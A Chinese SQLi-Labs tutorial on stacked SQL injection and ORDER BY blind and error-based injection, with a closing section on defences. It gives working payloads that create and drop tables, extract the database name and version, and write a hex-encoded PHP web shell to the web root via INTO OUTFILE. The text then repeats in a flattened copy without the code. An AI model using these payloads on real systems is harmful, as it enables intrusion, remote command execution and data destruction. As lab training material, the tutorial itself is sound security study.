SQLi_Labs靶场之Stacked Injections学习分享
字数 1005 2025-08-24 20:49:31

SQL注入进阶:Stacked Injections(堆叠注入)深度解析

一、堆叠注入基础概念

堆叠注入(Stacked Injections)是一种高级SQL注入技术,允许攻击者在一次注入中执行多条SQL语句。与普通注入不同,堆叠注入通过分号(;)分隔语句,可以执行创建表、删除数据、修改权限等更危险的操作。

关键特征

  • 使用分号;分隔多条SQL语句
  • 后端使用支持多语句查询的数据库接口(如PHP的mysqli_multi_query()
  • 每条语句都会按顺序执行

二、SQLi-Labs靶场中的堆叠注入实践

Less-39到Less-45:基础堆叠注入

这些关卡展示了在不同注入点(数字型、字符型)使用堆叠注入的方法:

数字型注入(Less-39, 41)

1;create table test39 like users;#

字符型注入(Less-40)

1');create table test40 like users;#

登录表单注入(Less-42到Less-45)

login_user=1&login_password=1';create table test42 like users;#&mysubmit=Login

关键点

  1. 分号;用于分隔语句
  2. #-- 用于注释后续代码
  3. 可以通过information_schema.tables验证注入是否成功

三、ORDER BY注入技术(Less-46到Less-49)

这些关卡展示了在ORDER BY子句中的注入技术,包括布尔盲注、时间盲注和报错注入。

常用技术

  1. 布尔盲注

    ?sort=rand(ascii(left(database(),1))=115)
    
  2. 时间盲注

    ?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))
    
  3. 报错注入

    ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
    
  4. 条件语句

    ?sort=(case when (1=1) then username else password end)
    

高级技巧

  • 使用ifnull()rand()等函数绕过过滤
  • 通过benchmark()sleep()实现时间延迟
  • 利用updatexml()extractvalue()进行报错注入

四、堆叠注入高级应用(Less-50到Less-53)

这些关卡展示了堆叠注入的更多应用场景:

数据表操作

1;create table test50 like users;#
1;drop table test50;#

文件操作

id=1 into outfile "/var/www/html/shell.php" lines terminated by 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e

五、防御措施

  1. 使用预处理语句(Prepared Statements)
  2. 禁用多语句查询(如PHP中避免使用mysqli_multi_query()
  3. 严格过滤输入,特别是分号;等特殊字符
  4. 最小权限原则,数据库用户只授予必要权限
  5. 错误信息处理,避免泄露敏感信息

六、总结

堆叠注入是一种危险的SQL注入技术,允许攻击者执行任意SQL语句。通过SQLi-Labs靶场的实践,我们学习了:

  1. 基础堆叠注入语法和使用场景
  2. ORDER BY子句中的多种注入技术
  3. 高级应用如文件写入和系统命令执行
  4. 相应的防御措施

理解这些技术对于安全研究和防御策略制定都至关重要。

SQL注入进阶:Stacked Injections(堆叠注入)深度解析 一、堆叠注入基础概念 堆叠注入(Stacked Injections)是一种高级SQL注入技术,允许攻击者在一次注入中执行多条SQL语句。与普通注入不同,堆叠注入通过分号( ; )分隔语句,可以执行创建表、删除数据、修改权限等更危险的操作。 关键特征 使用分号 ; 分隔多条SQL语句 后端使用支持多语句查询的数据库接口(如PHP的 mysqli_multi_query() ) 每条语句都会按顺序执行 二、SQLi-Labs靶场中的堆叠注入实践 Less-39到Less-45:基础堆叠注入 这些关卡展示了在不同注入点(数字型、字符型)使用堆叠注入的方法: 数字型注入(Less-39, 41) 字符型注入(Less-40) 登录表单注入(Less-42到Less-45) 关键点 分号 ; 用于分隔语句 # 或 -- 用于注释后续代码 可以通过 information_schema.tables 验证注入是否成功 三、ORDER BY注入技术(Less-46到Less-49) 这些关卡展示了在ORDER BY子句中的注入技术,包括布尔盲注、时间盲注和报错注入。 常用技术 布尔盲注 : 时间盲注 : 报错注入 : 条件语句 : 高级技巧 使用 ifnull() 、 rand() 等函数绕过过滤 通过 benchmark() 或 sleep() 实现时间延迟 利用 updatexml() 和 extractvalue() 进行报错注入 四、堆叠注入高级应用(Less-50到Less-53) 这些关卡展示了堆叠注入的更多应用场景: 数据表操作 文件操作 五、防御措施 使用预处理语句 (Prepared Statements) 禁用多语句查询 (如PHP中避免使用 mysqli_multi_query() ) 严格过滤输入 ,特别是分号 ; 等特殊字符 最小权限原则 ,数据库用户只授予必要权限 错误信息处理 ,避免泄露敏感信息 六、总结 堆叠注入是一种危险的SQL注入技术,允许攻击者执行任意SQL语句。通过SQLi-Labs靶场的实践,我们学习了: 基础堆叠注入语法和使用场景 ORDER BY子句中的多种注入技术 高级应用如文件写入和系统命令执行 相应的防御措施 理解这些技术对于安全研究和防御策略制定都至关重要。